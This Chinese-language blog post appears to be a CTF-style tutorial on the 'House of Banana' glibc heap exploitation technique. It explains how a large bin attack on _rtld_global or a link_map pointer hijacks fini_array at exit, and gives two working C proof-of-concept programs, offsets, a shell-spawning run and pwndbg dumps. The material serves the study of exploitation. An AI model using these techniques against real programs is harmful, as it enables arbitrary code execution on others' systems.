0%

House Of Banana-原理

House Of Banana

libc-2.28:_int_malloc 中增加了对 unsorted bin 的BK的校验,使得 unsorted bin attack 变得不可行

libc-2.29:检查变得更加严格,house of strom 不能用了

libc-2.30:常规 large bin attack 方法也被限制(以前可以改两个地址,现在只能改一个了)

house of banana 适用场景:(满足任一条件即可)

  • 程序能够显式的执行exit函数
  • 程序通过 libc_start_main 启动的主函数,且主函数能够结束

House Of Banana 原理

在 ld.so 里,存在一个 _rtld_global 指针,指向 rtld_global 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */

/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;

/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;

/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;

/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
.................................................................................
};

rtld_global 结构体里面装有 _dl_ns 结构体,该结构体存储着的实际就是elf各段的符号结构体(我们较为关注的是 fini_array 段的动态链接结构体指针)

fini_array 段的动态链接结构体指针会在以下代码中被使用:

1
2
3
4
5
6
7
8
9
10
  if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

因此,伪造该结构体指针,可以使得 array 指向我们可控的数据区,从而布置下一系列函数,进而劫持程序的流

那么 house of banana 的思想就是利用 large bin attack 往 rtld_global 写入堆的地址,并事先在堆里伪造好 rtld_global 结构体,这样程序 exit 或者正常退出 main 函数时,便会执行到伪造的 fini_array 数组

House Of Banana 利用姿势

案例一:间接利用“rtld_global”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>

void shell()
{
system("/bin/sh");
}

uint64_t getLibcBase()
{
uint64_t to;
uint64_t from;
char buf[0x400];

FILE* file;
sprintf(buf, "/proc/%d/maps",(int)getpid());
file = fopen(buf, "r");
while(fgets(buf, sizeof(buf), file))
{
if(strstr(buf,"libc")!=NULL)
{
sscanf(buf, "%lx-%lx", &from, &to);
fclose(file);
return from;
}
}
}

int main(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

uint64_t libcBase = getLibcBase();
uint64_t rtld_global = libcBase+0x1fa000+0x2E060;
uint64_t* next_node = (uint64_t*)(rtld_global-0x35f48);
/* distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) */

uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
uint64_t *g1 = malloc(0x18);

uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
uint64_t *g2 = malloc(0x18);
uint64_t fake = (uint64_t)p2-0x10;

*(uint64_t*)(fake+0x28) = fake;
*(uint64_t*)(fake+0x31c) = 0x1c;
*(uint64_t*)(fake+0x110) = fake+0x40;
*(uint64_t*)(fake+0x48) = fake+0x58;
*(uint64_t*)(fake+0x58) = (uint64_t)shell;
*(uint64_t*)(fake+0x120) = fake+0x48;
*(uint64_t*)(fake+0x50) = 0x8;

printf("libcBase is 0x%lx\n",libcBase);
printf("rtld_global is 0x%lx\n",rtld_global);

free(p1);
uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
free(p2);
p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin

p2[1] = 0;
p2[3] = fake;

return 0;
}
1
2
3
4
5
6
7
➜  桌面 gcc ./test.c -o test -g                                                   
➜ 桌面 patchelf --set-interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so --set-rpath /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64 test
➜ 桌面 ./test
libcBase is 0x7f678f5f5000
rtld_global is 0x7f678f81d060
$ whoami
yhellow

这里先说一下这两个关键的偏移(“rtld_global”,“next_node”)是怎么得出来的

1
2
pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
0x7ffff7ffd060->0x7ffff7fc7118 is -0x35f48 bytes (-0x6be9 words)

先计算“rtld_global”的偏移,然后“next_node”的偏移也计算出来了

这种类型的 House Of Banana 是针对“next_node”进行攻击的,利用 largebin attack 在“next_node”中写入“fake”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/xg fake
0x55555555bcd0: 0x0000000000000000
pwndbg> telescope *next_node /* next_node->fake */
00:0000│ rax 0x55555555bcd0 ◂— 0x0
01:00080x55555555bcd8 ◂— 0x421
02:00100x55555555bce0 —▸ 0x7ffff7fc0fd0 (main_arena+1104) —▸ 0x7ffff7fc0fc0 (main_arena+1088) —▸ 0x7ffff7fc0fb0 (main_arena+1072) —▸ 0x7ffff7fc0fa0 (main_arena+1056) ◂— ...
03:00180x55555555bce8 ◂— 0x0
04:00200x55555555bcf0 —▸ 0x55555555b880 ◂— 0x0
05:0028│ rdx 0x55555555bcf8 —▸ 0x55555555bcd0 ◂— 0x0 /* fake+0x28 */
06:00300x55555555bd00 ◂— 0x0
07:00380x55555555bd08 ◂— 0x0
pwndbg>
08:00400x55555555bd10 ◂— 0x0
09:00480x55555555bd18 —▸ 0x55555555bd28 —▸ 0x5555555552c9 (shell) ◂— endbr64
0a:00500x55555555bd20 ◂— 0x8 /* fake+0x50 */
0b:00580x55555555bd28 —▸ 0x5555555552c9 (shell) ◂— endbr64 /* fake+0x58 */

案例二:直接利用“rtld_global”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>

void backdoor() {
puts("you hacked me!!");
system("/bin/sh");
}

int main() {
puts("house of banana's poc");
size_t libc_base = &puts - 554128;
size_t _rtld_global_ptr_addr = libc_base + 2252896;
char *ptr0 = malloc(0x450);
char *gap = malloc(0x10);
char *ptr1 = malloc(0x440);
gap = malloc(0x10);
char *ptr2 = malloc(0x410);
gap = malloc(0x10);


printf("libc_base is 0x%lx\n",libc_base);
printf("_rtld_global_ptr_addr is 0x%lx\n",_rtld_global_ptr_addr);

free(ptr0);

//put ptr0 into large bin
malloc(0x500);

free(ptr1); //free ptr1 into unsorted bin
free(ptr2); //free ptr2 into unsorted bin

//bk_nextsize = _rtld_global_ptr_addr
*(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20;
malloc(0x410); //large bin attack to hijack _rtld_global_ptr

//fake a _rtld_global
size_t fake_rtld_global_addr = ptr1 - 0x10;
size_t *fake_rtld_global = (size_t *)ptr1;
char buf[0x100];

//the chain's length must >= 4
fake_rtld_global[1] = &fake_rtld_global[2];
fake_rtld_global[3] = fake_rtld_global_addr;

fake_rtld_global[2+3] = &fake_rtld_global[3];
fake_rtld_global[2+5] = &fake_rtld_global[2];

fake_rtld_global[3+3] = &fake_rtld_global[8];
fake_rtld_global[3+5] = &fake_rtld_global[3];

fake_rtld_global[8+3] = 0;
fake_rtld_global[8+5] = &fake_rtld_global[8];

//fake a fini_array segment
fake_rtld_global[0x20] = &fake_rtld_global[0x30];
fake_rtld_global[0x22] = &fake_rtld_global[0x23];
fake_rtld_global[0x23+1] = 0x8; //func ptrs total len

fake_rtld_global[0x30] = 0x1A;
fake_rtld_global[0x31] = 0;
fake_rtld_global[-2] = &fake_rtld_global[0x32];

//funcs
fake_rtld_global[0x32] = backdoor;
fake_rtld_global[0x61] = 0x800000000;

return 0;
}

这种类型的 House Of Banana 直接攻击“rtld_global”,利用 largebin attack 在“rtld_global”中写入“fake_rtld_global_addr”(“fake_rtld_global” - 0x10)

1
2
pwndbg> p &_rtld_global
$5 = (struct rtld_global *) 0x7ffff7ffd060 <_rtld_global>
1
2
pwndbg> x/xg 0x7ffff7ffd060
0x7ffff7ffd060 <_rtld_global>: 0x000055555555ab20
1
2
pwndbg> p fake_rtld_global
$10 = (size_t *) 0x55555555ab30
1
2
pwndbg> p &fake_rtld_global_addr
$12 = (size_t *) 0x7fffffffde20
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> telescope 0x000055555555ab20
00:00000x55555555ab20 —▸ 0x55555555acc0 —▸ 0x5555555551f9 (backdoor) ◂— endbr64
01:00080x55555555ab28 ◂— 0x451
02:00100x55555555ab30 —▸ 0x7ffff7fc1fe0 (main_arena+1120) —▸ 0x7ffff7fc1fd0 (main_arena+1104) —▸ 0x7ffff7fc1fc0 (main_arena+1088) —▸ 0x7ffff7fc1fb0 (main_arena+1072) ◂— ...
03:00180x55555555ab38 —▸ 0x55555555ab40 —▸ 0x55555555a6a0 ◂— 0x0
/* fake_rtld_global[1] */
04:00200x55555555ab40 —▸ 0x55555555a6a0 ◂— 0x0
/* fake_rtld_global[2] */
05:00280x55555555ab48 —▸ 0x55555555ab20 —▸ 0x55555555acc0 —▸ 0x5555555551f9 (backdoor) ◂— endbr64
/* fake_rtld_global[3] */
06:00300x55555555ab50 ◂— 0x0
07:00380x55555555ab58 —▸ 0x55555555ab48 —▸ 0x55555555ab20 —▸ 0x55555555acc0 —▸ 0x5555555551f9 (backdoor)

利用条件:

  • 有足够的空间,可以伪造“rtld_global”结构体
  • 可以使用 Largebin attack

版本对 House Of Banana 的影响

目前为止没有影响